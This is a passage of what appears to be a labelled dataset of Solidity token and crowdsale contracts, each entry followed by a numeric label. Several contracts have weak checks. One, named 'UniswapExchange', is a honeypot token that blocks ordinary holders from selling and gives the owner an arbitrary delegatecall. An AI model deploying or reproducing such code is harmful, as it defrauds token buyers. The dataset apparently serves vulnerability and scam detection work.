_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract DMPToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function DMPToken(
) TokenERC20() public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 4,157 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 330 |
pragma solidity ^0.4.19;
interface ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Owned {
address owner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract ChiSale is Owned {
struct BonusTier {
uint256 percentage;
uint256 threshold;
}
BonusTier[] private bonusTiers;
uint256 private tokensSold;
uint8 private bonusIndex;
uint256 private maxBonusThreshold;
uint256 private constant TOKEN_PRICE = 0.001 ether;
uint256 private constant REVENUE_SHARE_PERCENTAGE = 22;
ERC20 private chiContract;
event LogChiPurchase(
address indexed buyer,
address indexed referrer,
uint256 number,
uint256 timestamp
);
function ChiSale(
address chiAddress,
uint256[] bonusThresholds,
uint256[] bonusPercentages
)
public
Owned()
{
require(bonusThresholds.length == bonusPercentages.length);
require(bonusThresholds.length < 256);
for (uint8 i = 0; i < bonusThresholds.length; i++) {
if (i > 0) {
require(bonusThresholds[i] > bonusThresholds[i - 1]);
}
if (i > bonusThresholds.length - 1) {
maxBonusThreshold = bonusThresholds[i];
}
bonusTiers.push(BonusTier({
percentage: bonusPercentages[i],
threshold: bonusThresholds[i]
}));
}
chiContract = ERC20(chiAddress);
tokensSold = 0;
bonusIndex = 0;
}
function buy(address referralAddress) external payable {
uint256 tokensToBuy = msg.value / TOKEN_PRICE;
uint256 tokenBalance = chiContract.balanceOf(address(this));
uint256 remainder = msg.value % TOKEN_PRICE;
if (maxBonusThreshold < tokenBalance) {
maxBonusThreshold = tokenBalance;
}
if (tokensToBuy > maxBonusThreshold) {
tokensToBuy = maxBonusThreshold;
remainder = msg.value - tokensToBuy * TOKEN_PRICE;
}
uint256 bonusTokens = calculateBonusTokens(tokensToBuy);
tokensSold += tokensToBuy;
if (tokenBalance < tokensToBuy + bonusTokens) {
chiContract.transfer(msg.sender, tokenBalance);
} else {
chiContract.transfer(msg.sender, tokensToBuy + bonusTokens);
}
if (referralAddress != address(this) && referralAddress != address(0)) {
referralAddress.send(
msg.value * REVENUE_SHARE_PERCENTAGE / 100
);
}
if (remainder > 0) {
msg.sender.transfer(remainder);
}
LogChiPurchase(msg.sender, referralAddress, tokensToBuy, now);
}
function resetMaxBonusThreshold() external onlyOwner {
maxBonusThreshold = bonusTiers[bonusTiers.length - 1].threshold;
}
function withdrawEther() external onlyOwner {
msg.sender.transfer(address(this).balance);
}
function withdrawChi() external onlyOwner {
chiContract.transfer(msg.sender, chiContract.balanceOf(address(this)));
}
function getBonusTierCount() external view returns (uint256) {
return bonusTiers.length;
}
function getBonusTier(
uint8 bonusTierIndex
)
external
view
returns (uint256, uint256)
{
return (
bonusTiers[bonusTierIndex].percentage,
bonusTiers[bonusTierIndex].threshold
);
}
function getCurrentBonusTier()
external
view
returns (uint256 percentage, uint256 threshold)
{
return (
bonusTiers[bonusIndex].percentage,
bonusTiers[bonusIndex].threshold
);
}
function getNextBonusIndex()
external
view
returns (uint8)
{
return bonusIndex + 1;
}
function getSoldTokens() external view returns (uint256) {
return tokensSold;
}
function calculateBonusTokens(
uint256 boughtTokens
)
internal
returns (uint256)
{
if (bonusIndex == bonusTiers.length) {
return 0;
}
uint256 bonusTokens = 0;
uint256 _boughtTokens = boughtTokens;
uint256 _tokensSold = tokensSold;
while (_boughtTokens > 0) {
uint256 threshold = bonusTiers[bonusIndex].threshold;
uint256 bonus = bonusTiers[bonusIndex].percentage;
if (_tokensSold + _boughtTokens >= threshold) {
_boughtTokens -= threshold - _tokensSold;
bonusTokens += (threshold - _tokensSold) * bonus / 100;
_tokensSold = threshold;
if (bonusIndex < bonusTiers.length) {
bonusIndex += 1;
}
} else {
_tokensSold += _boughtTokens;
bonusTokens += _boughtTokens * bonus / 100;
_boughtTokens = 0;
}
}
return bonusTokens;
}
} | 0 | 2,117 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20 {
function transfer (address _beneficiary, uint256 _tokenAmount) external returns (bool);
function mintFromICO(address _to, uint256 _amount) external returns(bool);
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract MainSale is Ownable {
ERC20 public token;
using SafeMath for uint;
address public backEndOperator = msg.sender;
address team = 0x7DDA135cDAa44Ad3D7D79AAbE562c4cEA9DEB41d;
address reserve = 0x34bef601666D7b2E719Ff919A04266dD07706a79;
mapping(address=>bool) public whitelist;
mapping(address => uint256) public investedEther;
uint256 public startSale = 1537228801;
uint256 public endSale = 1545177599;
uint256 public investors;
uint256 public weisRaised;
uint256 public dollarRaised;
uint256 public softCap = 2000000000*1e18;
uint256 public hardCap = 7000000000*1e18;
uint256 public buyPrice;
uint256 public dollarPrice;
uint256 public soldTokens;
uint256 step1Sum = 3000000*1e18;
uint256 step2Sum = 10000000*1e18;
uint256 step3Sum = 20000000*1e18;
uint256 step4Sum = 30000000*1e18;
event Authorized(address wlCandidate, uint timestamp);
event Revoked(address wlCandidate, uint timestamp);
event Refund(uint rate, address investor);
modifier isUnderHardCap() {
require(weisRaised <= hardCap);
_;
}
modifier backEnd() {
require(msg.sender == backEndOperator || msg.sender == owner);
_;
}
constructor(uint256 _dollareth) public {
dollarPrice = _dollareth;
buyPrice = 1e16/dollarPrice;
hardCap = 7500000000*buyPrice;
}
function setToken (ERC20 _token) public onlyOwner {
token = _token;
}
function setDollarRate(uint256 _usdether) public onlyOwner {
dollarPrice = _usdether;
buyPrice = 1e16/dollarPrice;
hardCap = 7500000000*buyPrice;
}
function setPrice(uint256 newBuyPrice) public onlyOwner {
buyPrice = newBuyPrice;
}
function setStartSale(uint256 newStartSale) public onlyOwner {
startSale = newStartSale;
}
function setEndSale(uint256 newEndSaled) public onlyOwner {
endSale = newEndSaled;
}
function setBackEndAddress(address newBackEndOperator) public onlyOwner {
backEndOperator = newBackEndOperator;
}
function authorize(address wlCandidate) public backEnd {
require(wlCandidate != address(0x0));
require(!isWhitelisted(wlCandidate));
whitelist[wlCandidate] = true;
investors++;
emit Authorized(wlCandidate, now);
}
function revoke(address wlCandidate) public onlyOwner {
whitelist[wlCandidate] = false;
investors--;
emit Revoked(wlCandidate, now);
}
function isWhitelisted(address wlCandidate) public view returns(bool) {
return whitelist[wlCandidate];
}
function isMainSale() public constant returns(bool) {
return now >= startSale && now <= endSale;
}
function () public payable isUnderHardCap {
require(isMainSale());
require(isWhitelisted(msg.sender));
require(msg.value >= 10000000000000000);
mainSale(msg.sender, msg.value);
investedEther[msg.sender] = investedEther[msg.sender].add(msg.value);
}
function mainSale(address _investor, uint256 _value) internal {
uint256 tokens = _value.mul(1e18).div(buyPrice);
uint256 tokensSum = tokens.mul(discountSum(msg.value)).div(100);
uint256 tokensCollect = tokens.mul(discountCollect()).div(100);
tokens = tokens.add(tokensSum).add(tokensCollect);
token.mintFromICO(_investor, tokens);
uint256 tokensFounders = tokens.mul(5).div(12);
token.mintFromICO(team, tokensFounders);
uint256 tokensDevelopers = tokens.div(4);
token.mintFromICO(reserve, tokensDevelopers);
weisRaised = weisRaised.add(msg.value);
uint256 valueInUSD = msg.value.mul(dollarPrice);
dollarRaised = dollarRaised.add(valueInUSD);
soldTokens = soldTokens.add(tokens);
}
function discountSum(uint256 _tokens) pure private returns(uint256) {
if(_tokens >= 10000000*1e18) {
return 7;
}
if(_tokens >= 5000000*1e18) {
return 5;
}
if(_tokens >= 1000000*1e18) {
return 3;
} else
return 0;
}
function discountCollect() view private returns(uint256) {
if(dollarRaised <= step1Sum) {
return 20;
}
if(dollarRaised <= step2Sum) {
return 15;
}
if(dollarRaised <= step3Sum) {
return 10;
}
if(dollarRaised <= step4Sum) {
return 5;
}
return 0;
}
function mintManual(address _investor, uint256 _value) public onlyOwner {
token.mintFromICO(_investor, _value);
uint256 tokensFounders = _value.mul(5).div(12);
token.mintFromICO(team, tokensFounders);
uint256 tokensDevelopers = _value.div(4);
token.mintFromICO(reserve, tokensDevelopers);
}
function transferEthFromContract(address _to, uint256 amount) public onlyOwner {
require(amount != 0);
require(_to != 0x0);
_to.transfer(amount);
}
function refundSale() public {
require(soldTokens < softCap && now > endSale);
uint256 rate = investedEther[msg.sender];
require(investedEther[msg.sender] >= 0);
investedEther[msg.sender] = 0;
msg.sender.transfer(rate);
weisRaised = weisRaised.sub(rate);
emit Refund(rate, msg.sender);
}
} | 1 | 5,120 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract YupieToken is StandardToken {
using SafeMath for uint256;
event CreatedYUPIE(address indexed _creator, uint256 _amountOfYUPIE);
string public constant name = "YUPIE";
string public constant symbol = "YUP";
uint256 public constant decimals = 18;
string public version = "1.0";
uint256 public maxPresaleSupply;
uint256 public constant preSaleStartTime = 1502784000;
uint256 public constant preSaleEndTime = 1505671200;
uint256 public saleStartTime = 1509523200;
uint256 public saleEndTime = 1512115200;
uint256 public lowEtherBonusLimit = 5 * 1 ether;
uint256 public lowEtherBonusValue = 110;
uint256 public midEtherBonusLimit = 24 * 1 ether;
uint256 public midEtherBonusValue = 115;
uint256 public highEtherBonusLimit = 50 * 1 ether;
uint256 public highEtherBonusValue = 120;
uint256 public highTimeBonusLimit = 0;
uint256 public highTimeBonusValue = 120;
uint256 public midTimeBonusLimit = 1036800;
uint256 public midTimeBonusValue = 115;
uint256 public lowTimeBonusLimit = 2073600;
uint256 public lowTimeBonusValue = 110;
uint256 public constant YUPIE_PER_ETH_PRE_SALE = 3000;
uint256 public constant YUPIE_PER_ETH_SALE = 1000;
address public constant ownerAddress = 0x20C84e76C691e38E81EaE5BA60F655b8C388718D;
bool public allowInvestment = true;
uint256 public totalWEIInvested = 0;
uint256 public totalYUPIESAllocated = 0;
mapping (address => uint256) public WEIContributed;
function YupieToken() {
require(msg.sender == ownerAddress);
totalSupply = 631*1000000*1000000000000000000;
uint256 totalYUPIESReserved = totalSupply.mul(55).div(100);
maxPresaleSupply = totalSupply*8/1000 + totalYUPIESReserved;
balances[msg.sender] = totalYUPIESReserved;
totalYUPIESAllocated = totalYUPIESReserved;
}
function() payable {
require(allowInvestment);
uint256 amountOfWei = msg.value;
require(amountOfWei >= 10000000000000);
uint256 amountOfYUPIE = 0;
uint256 absLowTimeBonusLimit = 0;
uint256 absMidTimeBonusLimit = 0;
uint256 absHighTimeBonusLimit = 0;
uint256 totalYUPIEAvailable = 0;
if (block.timestamp > preSaleStartTime && block.timestamp < preSaleEndTime) {
amountOfYUPIE = amountOfWei.mul(YUPIE_PER_ETH_PRE_SALE);
absLowTimeBonusLimit = preSaleStartTime + lowTimeBonusLimit;
absMidTimeBonusLimit = preSaleStartTime + midTimeBonusLimit;
absHighTimeBonusLimit = preSaleStartTime + highTimeBonusLimit;
totalYUPIEAvailable = maxPresaleSupply - totalYUPIESAllocated;
} else if (block.timestamp > saleStartTime && block.timestamp < saleEndTime) {
amountOfYUPIE = amountOfWei.mul(YUPIE_PER_ETH_SALE);
absLowTimeBonusLimit = saleStartTime + lowTimeBonusLimit;
absMidTimeBonusLimit = saleStartTime + midTimeBonusLimit;
absHighTimeBonusLimit = saleStartTime + highTimeBonusLimit;
totalYUPIEAvailable = totalSupply - totalYUPIESAllocated;
} else {
revert();
}
assert(amountOfYUPIE > 0);
if (amountOfWei >= highEtherBonusLimit) {
amountOfYUPIE = amountOfYUPIE.mul(highEtherBonusValue).div(100);
} else if (amountOfWei >= midEtherBonusLimit) {
amountOfYUPIE = amountOfYUPIE.mul(midEtherBonusValue).div(100);
} else if (amountOfWei >= lowEtherBonusLimit) {
amountOfYUPIE = amountOfYUPIE.mul(lowEtherBonusValue).div(100);
}
if (block.timestamp >= absLowTimeBonusLimit) {
amountOfYUPIE = amountOfYUPIE.mul(lowTimeBonusValue).div(100);
} else if (block.timestamp >= absMidTimeBonusLimit) {
amountOfYUPIE = amountOfYUPIE.mul(midTimeBonusValue).div(100);
} else if (block.timestamp >= absHighTimeBonusLimit) {
amountOfYUPIE = amountOfYUPIE.mul(highTimeBonusValue).div(100);
}
assert(amountOfYUPIE <= totalYUPIEAvailable);
totalYUPIESAllocated = totalYUPIESAllocated + amountOfYUPIE;
uint256 balanceSafe = balances[msg.sender].add(amountOfYUPIE);
balances[msg.sender] = balanceSafe;
totalWEIInvested = totalWEIInvested.add(amountOfWei);
uint256 contributedSafe = WEIContributed[msg.sender].add(amountOfWei);
WEIContributed[msg.sender] = contributedSafe;
assert(totalYUPIESAllocated <= totalSupply);
assert(totalYUPIESAllocated > 0);
assert(balanceSafe > 0);
assert(totalWEIInvested > 0);
assert(contributedSafe > 0);
CreatedYUPIE(msg.sender, amountOfYUPIE);
}
function transferEther(address addressToSendTo, uint256 value) {
require(msg.sender == ownerAddress);
addressToSendTo.transfer(value);
}
function changeAllowInvestment(bool _allowInvestment) {
require(msg.sender == ownerAddress);
allowInvestment = _allowInvestment;
}
function changeSaleTimes(uint256 _saleStartTime, uint256 _saleEndTime) {
require(msg.sender == ownerAddress);
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
}
function changeEtherBonuses(uint256 _lowEtherBonusLimit, uint256 _lowEtherBonusValue, uint256 _midEtherBonusLimit, uint256 _midEtherBonusValue, uint256 _highEtherBonusLimit, uint256 _highEtherBonusValue) {
require(msg.sender == ownerAddress);
lowEtherBonusLimit = _lowEtherBonusLimit;
lowEtherBonusValue = _lowEtherBonusValue;
midEtherBonusLimit = _midEtherBonusLimit;
midEtherBonusValue = _midEtherBonusValue;
highEtherBonusLimit = _highEtherBonusLimit;
highEtherBonusValue = _highEtherBonusValue;
}
function changeTimeBonuses(uint256 _highTimeBonusLimit, uint256 _highTimeBonusValue, uint256 _midTimeBonusLimit, uint256 _midTimeBonusValue, uint256 _lowTimeBonusLimit, uint256 _lowTimeBonusValue) {
require(msg.sender == ownerAddress);
highTimeBonusLimit = _highTimeBonusLimit;
highTimeBonusValue = _highTimeBonusValue;
midTimeBonusLimit = _midTimeBonusLimit;
midTimeBonusValue = _midTimeBonusValue;
lowTimeBonusLimit = _lowTimeBonusLimit;
lowTimeBonusValue = _lowTimeBonusValue;
}
} | 1 | 5,202 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract EncryptedToken is owned, TokenERC20 {
uint256 INITIAL_SUPPLY = 500000000;
uint256 public buyPrice = 2000;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'TEME', '18') payable public {
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
